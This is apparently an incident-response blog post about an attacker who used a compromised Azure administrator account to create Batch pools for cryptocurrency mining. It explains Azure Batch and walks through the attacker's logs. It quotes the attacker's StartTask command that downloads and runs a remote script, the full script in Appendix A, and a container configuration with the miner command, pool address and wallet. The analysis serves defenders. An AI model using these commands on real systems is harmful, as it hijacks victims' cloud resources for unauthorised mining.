Azure Batch Misused for Crypto Mining

Table of Contents

Introduction

A huge thanks to the Invictus-IR team for proofreading this blog post 🙏

Recently, I posted a tweet regarding an unpatched TeamCity server that an attacker exploited to deploy a CoinMiner. In response to my tweet, the X (former Twitter) user, the cybersecurity doge, shared another story they investigated:

An attacker obtained access to an administrator Azure environment user. Once logged on the tenant he created a resource group, and built 3 different batch accounts insides. Meanwhile, he opened a ticket to MS support asking for the increase of batch’s limit. Why? The limit increase was needed in order to boost on mining capacity. In fact, once the batch accounts were created, he built on these a complete autonomous crypto-mining system. The attacker used the miner reported above to mine crypto currency. [1]

In this blog post, we explore the Azure Batch capabilities before diving into the logs from the incident described above (the logs were provided to us by the X (former Twitter) user “the cybersecurity doge” - unfortunately, we didn’t have access to the affected Tenant at any time).

Background

What is Azure Batch?

Azure Batch is a platform service for running large-scale parallel and HPC applications efficiently in the cloud. Azure Batch schedules compute-intensive work to run on a managed pool of virtual machines, and can automatically scale compute resources to meet the needs of your jobs. [2]

We will provide a brief walkthrough on how to create a new Azure Batch service. This will help comprehend the steps the attackers took, as outlined in the next section. Please refer to the official documentation for a more comprehensive discussion on Azure Batch.

Step 1 - New batch account

First and foremost, we create a new Batch account. We create a new Resource group (named dfir.ch), within which our Batch account will be part of. The Batch account name will be dfir.

New batch account

Figure 1: New Batch account

Step 2 - Deployment is complete

The deployment is complete, and we can go to our created resource (click on Go to resource).

Newly created Batch account

Figure 2: Newly created Batch account

Step 3 - Resource group - Activity log

When inspecting the Activity log of the newly created Resource group, we find the following operations:

localizedValue operationName:value
Update resource group Microsoft.Resources/subscriptions/resourceGroups/write
Validate deployment Microsoft.Resources/deployments/validate/action
Create or Update Batch Account Microsoft.Batch/batchAccounts/write
Create Deployment Microsoft.Resources/deployments/write

Resource group Activity log

Figure 3: Resource group Activity log

Step 4 - Batch account - Activity log

Here is the operation from the Activity log from the Batch account:

localizedValue operationName:value
Create or Update Batch Account Microsoft.Batch/batchAccounts/write

Batch account Activity log

Figure 4: Batch account Activity log

Step 5 - Add pool

Next, we create a new pool. In Azure Batch, a pool refers to a collection of compute resources (virtual machines) used to execute batch processing tasks. When you create a pool in Azure Batch, you specify the configuration details, such as the size and type of virtual machines, the operating system, and other settings. In the example, we spin up a new Ubuntu Server. The pool will be named dfir.

localizedValue operationName:value
Create or Update Pool Microsoft.Batch/batchAccounts/pools/write

Add pool

Figure 5: Add pool

Step 6 - Start Task

Within the parameters required to initiate the pool, we have the option to define a Start Task. Please bear this in mind for the discussion later when we delve into the steps executed by the attacker.

In Azure Batch, StartTask is a concept related to configuring tasks within a job. When you define a job in Azure Batch, you can specify a StartTask that runs before any other tasks in the job. The StartTask is typically used for setup or initialization tasks that need to be performed before the main batch processing tasks begin.

Start Task

Figure 6: Start Task

Step 7 - Adjust Quota

For capacity management purposes, the default quotas for new Batch accounts in some regions and for some subscription types have been reduced from the above range of values. In some cases, these limits have been reduced to zero. When you create a new Batch account, check your quotas and request an appropriate core or service quota increase, if necessary.

This is exactly the case in our Tenant. To run the App pool, we must adjust our Quota. To request an increase beyond this limit, contact Azure Support. [3] Keep that in mind, too, for the next section.

PoolQuotaReached

Figure 7: PoolQuotaReached

Step 8 - Profit 💰 (as an attacker)

These steps, particularly the Start Task, are crucial for comprehending the attack flow, which we will discuss in the next section of this blog post. If the Quota is adjusted, our newly created Pool will spin up and execute the Start Task as configured.

Attacker’s action

In this section, we outline the attackers’ traces, as good as it gets, because we didn’t have access to the Tenant, but were provided with the logs of the incident (see the introduction section).

Creation of the Batch-Account

A new Batch Account named websecv1 is created inside the resource group Bch.

[
  {
      "provisioningOperation": "Create",
      "provisioningState": "Succeeded",
      ...   
      "statusCode": "OK",
      "targetResource": {
        "id": "/subscriptions/[REDACTED]/resourceGroups/Bch/
                providers/Microsoft.Batch/batchAccounts/websecv1",
        "resourceType": "Microsoft.Batch/batchAccounts",
        "resourceName": "websecv1"
      }
    }
  }

Support needed 💜

The compromised Tenant analyzed by “the cybersecurity doge” had initially set the Quota to 0, preventing the attacker from spinning up new App pools. Consequently, the attacker contacted the Microsoft support and requested an adjustment to the Quota.

Microsoft Support

Figure 8: Microsoft Support

Here is an overview of the support requests that the attacker opened:

All support requests

Figure 9: All support requests

Creation of the pool

The Batch-Account websecv1 started a new Pool named WebApp, a Linux Ubuntu server.

{
    "id": "WebApp",
    "displayName": null,
    "url": "/subscriptions/[REDACTED]/resourceGroups/bch/
            providers/Microsoft.Batch/batchAccounts/websecv1/pools/WebApp",
...
    "vmSize": "STANDARD_F8",
    "virtualMachineConfiguration": {
        "imageReference": {
            "publisher": "canonical",
            "offer": "0001-com-ubuntu-server-focal",
            "sku": "20_04-lts",
            "version": "latest",
            "virtualMachineImageId": null,
            "exactVersion": "latest"
        },
        "nodeAgentSKUId": "batch.node.ubuntu 20.04",
        "licenseType": null,
        "diskEncryptionConfiguration": {},
        "nodePlacementConfiguration": {
            "policy": "Regional"
        }
    },

Utilising the startTask

In our short introduction to Azure Batch at the start of this post, we introduced Start Task. The attacker used this mechanism (start task) to instruct the newly spawned machine to download a bash script from GitHub.

wget -O ssl.sh https://raw.githubusercontent[.]com/max313iq/Ssl/main/ba.sh

Appendix A depicts the full script, which is still available on GitHub as of the creation of this blog. The script installs docker, which is used to pull a malicious docker container from docker hub, which will be the workhorse for the mining process.

    "startTask": {
        "commandLine": "/bin/bash -c \"wget -O ssl.sh 
        https://raw.githubusercontent[.]com/max313iq/Ssl/main/ba.sh 
        && chmod +x ssl.sh && ./ssl.sh\"",
        "userIdentity": {
            "username": null,
            "autoUser": {
                "scope": "task",
                "elevationLevel": "admin"
            }
        },
        "maxTaskRetryCount": 3,
        "waitForSuccess": true
    },

Pool is successfully started

Once the pool is started, the Start Task is executed (see the poolQuota set to 100?).

{
  "id": "/subscriptions/[REDACTED]/resourceGroups/bch/
        providers/Microsoft.Batch/batchAccounts/websecv1",
  "name": "websecv1",
  "status": "Succeeded",
  "resourceGroupName": "bch",
  "subscriptionId": "[REDACTED]",
  "regionId": "eastus",
  "accountProperties": {
    "accountEndpoint": "<redacted>.batch.azure.com",
    "provisioningState": "Succeeded",
    "dedicatedCoreQuota": 350,
    "lowPriorityCoreQuota": 2990,
    "poolQuota": 100,
    "activeJobAndJobScheduleQuota": 300,
    "encryption": {
      "keySource": "Microsoft.Batch"
    }

But wait.. how does that work with the docker container?

I’m glad you asked. Here is the relevant code from the malicious bash script, which was downloaded from GitHub and executed via Start Task:

# Run Docker container with initial POOL_URL
export POOL_URL=$(curl -s https://raw.githubusercontent[.]com/max313iq/Ssl/main/ip)
sudo docker run -d -e POOL_URL="$POOL_URL" ubtssl/webappx:latest

This, however, does not give much away, right? We see that a pool URL is fetched from GitHub and passed to the docker container in a variable.

We pull the docker container first:

docker pull ubtssl/webappx

And save the relevant files in a TAR archive:

docker save ubtssl/webappx > webappx.tar

Extracting the archive:

tar -xvf webappx.tar

We also find the JSON file with the instructions for the docker container (see Appendix B). The gist is that the binary xm, a coin miner, is run with various arguments (for more information about the arguments, see Appendix B).

"/bin/sh",
"-c",
"python -m http.server 80 & ./xm 
-o $POOL_URL 
-u $POOL_USER 
-p $POOL_PW 
-a $ALGO 
-k --max-cpu-usage=$CPU 
--no-title 
--log-file=log.txt 
--donate-over-proxy=$POOL_URL $TLS"

And that’s it. The attacker was only motivated by financial gain, not in exfiltrating data, setting up persistence, or pivoting into the on-prem network of the affected customer.

Conclusion

As demonstrated in the initial walkthrough, creating new pools with Azure Batch is relatively straightforward, assuming the Quota is appropriately configured. As the steps taken by the attacker have shown, contacting Microsoft Support to adjust the Quota is trivial and will not be a big hurdle once administrative rights have been gained in the Tenant. Here is a short recap of what we could do better:

Good luck ☘️

Appendix A - ba.sh

#!/bin/bash

# Function to update the environment variable and restart Docker container
update_and_restart() {
    new_pool_url=$(curl -s https://raw.githubusercontent[.]com/max313iq/Ssl/main/ip)
    if [ "$new_pool_url" != "$POOL_URL" ]; then
        echo "Updating POOL_URL to: $new_pool_url"
        export POOL_URL=$new_pool_url
        sudo docker stop $(sudo docker ps -q --filter ancestor=ubtssl/webappx:latest)
        sudo docker run -d -e POOL_URL="$POOL_URL" ubtssl/webappx:latest
    else
        echo "No updates found."
    fi
}

# Install Docker
sudo apt-get update --fix-missing
sudo apt-get install -y \
    apt-transport-https \
    ca-certificates \
    curl \
    software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update --fix-missing
sudo apt-get install -y docker-ce docker-ce-cli containerd.io

# Run Docker container with initial POOL_URL
export POOL_URL=$(curl -s https://raw.githubusercontent[.]com/max313iq/Ssl/main/ip)
sudo docker run -d -e POOL_URL="$POOL_URL" ubtssl/webappx:latest

# Allow some time for the container to start before entering the update loop
sleep 10

# Continuous loop to check for updates
while true; do
    sleep 1200  # Check every hour (adjust as needed)
    update_and_restart
done

Appendix B - 00ca23e288f0686e5721b097f9617e2a05ad84508e84f0c27dee2c97261ae0a1.json

{
  "architecture": "amd64",
  "config": {
    "User": "root",
    "ExposedPorts": {
      "80/tcp": {}
    },
    "Env": [
      "PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "LANG=C.UTF-8",
      "GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568",
      "PYTHON_VERSION=3.9.18",
      "PYTHON_PIP_VERSION=23.0.1",
      "PYTHON_SETUPTOOLS_VERSION=58.1.0",
      "PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/4cfa4081d27285bda1220a62a5ebf5b4bd749cdb/public/get-pip.py",
      "PYTHON_GET_PIP_SHA256=9cc01665956d22b3bf057ae8287b035827bfd895da235bcea200ab3b811790b6",
      "POOL_URL=172.200.110.72:3333",
      "POOL_USER=ZEPHYR3WLwbe4Nc9NgSMm1ZFcoZgLBLmqRnDqqRTYgjviBYvJ4GQjSQAwAGASA5CfwbS1AFXCGjmtXHTSBAER2fRjNbEnQGTBDD1X",
      "POOL_PW=TEST",
      "ALGO=rx/0",
      "TLS=--tls",
      "CPU=100"
    ],
    "Cmd": [
      "/bin/sh",
      "-c",
      "python -m http.server 80 & ./xm -o $POOL_URL -u $POOL_USER -p $POOL_PW -a $ALGO -k --max-cpu-usage=$CPU --no-title --log-file=log.txt --donate-over-proxy=$POOL_URL $TLS"
    ],
    "WorkingDir": "/home/miner",
    "ArgsEscaped": true,
    "OnBuild": null
  },
  "created": "2024-01-03T06:31:11.0826861Z",
  "history": [
    {
      "created": "2023-12-19T01:20:27.649112832Z",
      "created_by": "/bin/sh -c #(nop) ADD file:ac3cd70031d35e46d86b876934946ffc8756de4de065fbc926dce642dac07ff3 in / "
    },
    {
      "created": "2023-12-19T01:20:28.009626995Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"bash\"]",
      "empty_layer": true
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "ENV PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "ENV LANG=C.UTF-8",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "RUN /bin/sh -c set -eux; \tapt-get update; \tapt-get install -y --no-install-recommends \t\tca-certificates \t\tnetbase \t\ttzdata \t; \trm -rf /var/lib/apt/lists/* # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "ENV GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "ENV PYTHON_VERSION=3.9.18",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "RUN /bin/sh -c set -eux; \t\tsavedAptMark=\"$(apt-mark showmanual)\"; \tapt-get update; \tapt-get install -y --no-install-recommends \t\tdpkg-dev \t\tgcc \t\tgnupg \t\tlibbluetooth-dev \t\tlibbz2-dev \t\tlibc6-dev \t\tlibdb-dev \t\tlibexpat1-dev \t\tlibffi-dev \t\tlibgdbm-dev \t\tliblzma-dev \t\tlibncursesw5-dev \t\tlibreadline-dev \t\tlibsqlite3-dev \t\tlibssl-dev \t\tmake \t\ttk-dev \t\tuuid-dev \t\twget \t\txz-utils \t\tzlib1g-dev \t; \t\twget -O python.tar.xz \"https://www.python.org/ftp/python/${PYTHON_VERSION%%[a-z]*}/Python-$PYTHON_VERSION.tar.xz\"; \twget -O python.tar.xz.asc \"https://www.python.org/ftp/python/${PYTHON_VERSION%%[a-z]*}/Python-$PYTHON_VERSION.tar.xz.asc\"; \tGNUPGHOME=\"$(mktemp -d)\"; export GNUPGHOME; \tgpg --batch --keyserver hkps://keys.openpgp.org --recv-keys \"$GPG_KEY\"; \tgpg --batch --verify python.tar.xz.asc python.tar.xz; \tgpgconf --kill all; \trm -rf \"$GNUPGHOME\" python.tar.xz.asc; \tmkdir -p /usr/src/python; \ttar --extract --directory /usr/src/python --strip-components=1 --file python.tar.xz; \trm python.tar.xz; \t\tcd /usr/src/python; \tgnuArch=\"$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)\"; \t./configure \t\t--build=\"$gnuArch\" \t\t--enable-loadable-sqlite-extensions \t\t--enable-optimizations \t\t--enable-option-checking=fatal \t\t--enable-shared \t\t--with-system-expat \t\t--without-ensurepip \t; \tnproc=\"$(nproc)\"; \tEXTRA_CFLAGS=\"$(dpkg-buildflags --get CFLAGS)\"; \tLDFLAGS=\"$(dpkg-buildflags --get LDFLAGS)\"; \tLDFLAGS=\"${LDFLAGS:--Wl},--strip-all\"; \tmake -j \"$nproc\" \t\t\"EXTRA_CFLAGS=${EXTRA_CFLAGS:-}\" \t\t\"LDFLAGS=${LDFLAGS:-}\" \t\t\"PROFILE_TASK=${PROFILE_TASK:-}\" \t; \trm python; \tmake -j \"$nproc\" \t\t\"EXTRA_CFLAGS=${EXTRA_CFLAGS:-}\" \t\t\"LDFLAGS=${LDFLAGS:--Wl},-rpath='\\$\\$ORIGIN/../lib'\" \t\t\"PROFILE_TASK=${PROFILE_TASK:-}\" \t\tpython \t; \tmake install; \t\tcd /; \trm -rf /usr/src/python; \t\tfind /usr/local -depth \t\t\\( \t\t\t\\( -type d -a \\( -name test -o -name tests -o -name idle_test \\) \\) \t\t\t-o \\( -type f -a \\( -name '*.pyc' -o -name '*.pyo' -o -name 'libpython*.a' \\) \\) \t\t\\) -exec rm -rf '{}' + \t; \t\tldconfig; \t\tapt-mark auto '.*' > /dev/null; \tapt-mark manual $savedAptMark; \tfind /usr/local -type f -executable -not \\( -name '*tkinter*' \\) -exec ldd '{}' ';' \t\t| awk '/=>/ { so = $(NF-1); if (index(so, \"/usr/local/\") == 1) { next }; gsub(\"^/(usr/)?\", \"\", so); printf \"*%s\\n\", so }' \t\t| sort -u \t\t| xargs -r dpkg-query --search \t\t| cut -d: -f1 \t\t| sort -u \t\t| xargs -r apt-mark manual \t; \tapt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \trm -rf /var/lib/apt/lists/*; \t\tpython3 --version # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "RUN /bin/sh -c set -eux; \tfor src in idle3 pydoc3 python3 python3-config; do \t\tdst=\"$(echo \"$src\" | tr -d 3)\"; \t\t[ -s \"/usr/local/bin/$src\" ]; \t\t[ ! -e \"/usr/local/bin/$dst\" ]; \t\tln -svT \"$src\" \"/usr/local/bin/$dst\"; \tdone # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "ENV PYTHON_PIP_VERSION=23.0.1",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "ENV PYTHON_SETUPTOOLS_VERSION=58.1.0",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "ENV PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/4cfa4081d27285bda1220a62a5ebf5b4bd749cdb/public/get-pip.py",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "ENV PYTHON_GET_PIP_SHA256=9cc01665956d22b3bf057ae8287b035827bfd895da235bcea200ab3b811790b6",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "RUN /bin/sh -c set -eux; \t\tsavedAptMark=\"$(apt-mark showmanual)\"; \tapt-get update; \tapt-get install -y --no-install-recommends wget; \t\twget -O get-pip.py \"$PYTHON_GET_PIP_URL\"; \techo \"$PYTHON_GET_PIP_SHA256 *get-pip.py\" | sha256sum -c -; \t\tapt-mark auto '.*' > /dev/null; \t[ -z \"$savedAptMark\" ] || apt-mark manual $savedAptMark > /dev/null; \tapt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \trm -rf /var/lib/apt/lists/*; \t\texport PYTHONDONTWRITEBYTECODE=1; \t\tpython get-pip.py \t\t--disable-pip-version-check \t\t--no-cache-dir \t\t--no-compile \t\t\"pip==$PYTHON_PIP_VERSION\" \t\t\"setuptools==$PYTHON_SETUPTOOLS_VERSION\" \t; \trm -f get-pip.py; \t\tpip --version # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2023-10-21T21:17:19Z",
      "created_by": "CMD [\"python3\"]",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-12-19T05:37:59.7007355Z",
      "created_by": "RUN /bin/sh -c apt-get update \t&& apt-get install -y wget \t&& rm -rf /var/lib/apt/lists/* # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2023-12-19T05:37:59.929861Z",
      "created_by": "USER root",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-12-19T05:37:59.929861Z",
      "created_by": "ENV POOL_URL=172.200.110.72:3333",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-12-19T05:37:59.929861Z",
      "created_by": "ENV POOL_USER=ZEPHYR3WLwbe4Nc9NgSMm1ZFcoZgLBLmqRnDqqRTYgjviBYvJ4GQjSQAwAGASA5CfwbS1AFXCGjmtXHTSBAER2fRjNbEnQGTBDD1X",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-12-19T05:37:59.929861Z",
      "created_by": "ENV POOL_PW=TEST",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-12-19T05:37:59.929861Z",
      "created_by": "ENV ALGO=rx/0",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-12-19T05:37:59.929861Z",
      "created_by": "ENV TLS=--tls",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-12-19T05:37:59.929861Z",
      "created_by": "ENV CPU=100",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2023-12-19T05:37:59.929861Z",
      "created_by": "WORKDIR /home/miner",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2024-01-03T06:31:11.0826861Z",
      "created_by": "RUN /bin/sh -c wget https://github.com/ddao2604/tech/releases/download/1.0/xm \t&& chmod +x xm # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2024-01-03T06:31:11.0826861Z",
      "created_by": "EXPOSE map[80/tcp:{}]",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    },
    {
      "created": "2024-01-03T06:31:11.0826861Z",
      "created_by": "CMD [\"/bin/sh\" \"-c\" \"python -m http.server 80 & ./xm -o $POOL_URL -u $POOL_USER -p $POOL_PW -a $ALGO -k --max-cpu-usage=$CPU --no-title --log-file=log.txt --donate-over-proxy=$POOL_URL $TLS\"]",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:7292cf786aa89399bca4e3edd105d3b2ee0683a46ef1f5ff436c0f9d1d49e765",
      "sha256:384858ccd7ef0b8449b819cd61b39fc4560e476326c0bd5168523907c26bf527",
      "sha256:661ecc6e457f9c02b88f17feb970479d46de0f5718bb6150a9fe82a647ace545",
      "sha256:a1e3c54d75a8292d27947a0da787b866c9f5321b7ed6c9d4846dda49e9db929d",
      "sha256:4cec408baceeb81dbf260406a6f6fbb83b8f333565be1bfc27fdc057a611d691",
      "sha256:60ff5d2e362b72b37cf9cb0148df2c5439db453c86c565eb8d90d96467593e5b",
      "sha256:0c30d75369fe41b607c575e475b86b19b46df7815d957be6f51dd572a0a59ab9",
      "sha256:014aa269cf22f6d71b7e1e3ceee35a6c233d24ede117db81b2df977404fc5016"
    ]
  }
}